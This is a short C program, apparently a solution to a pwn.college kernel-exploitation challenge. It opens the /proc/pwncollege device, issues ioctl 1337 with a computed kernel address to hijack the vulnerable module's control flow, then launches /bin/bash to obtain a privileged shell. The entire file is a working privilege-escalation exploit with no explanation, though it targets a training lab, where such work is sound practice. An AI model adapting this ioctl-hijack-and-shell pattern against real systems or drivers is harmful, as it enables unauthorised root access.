#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    int fd = open("/proc/pwncollege", O_WRONLY);
    ioctl(fd, 1337, 0xffffffffc0000000ull + 0xc2ull);
    execve("/bin/bash", NULL, NULL);
}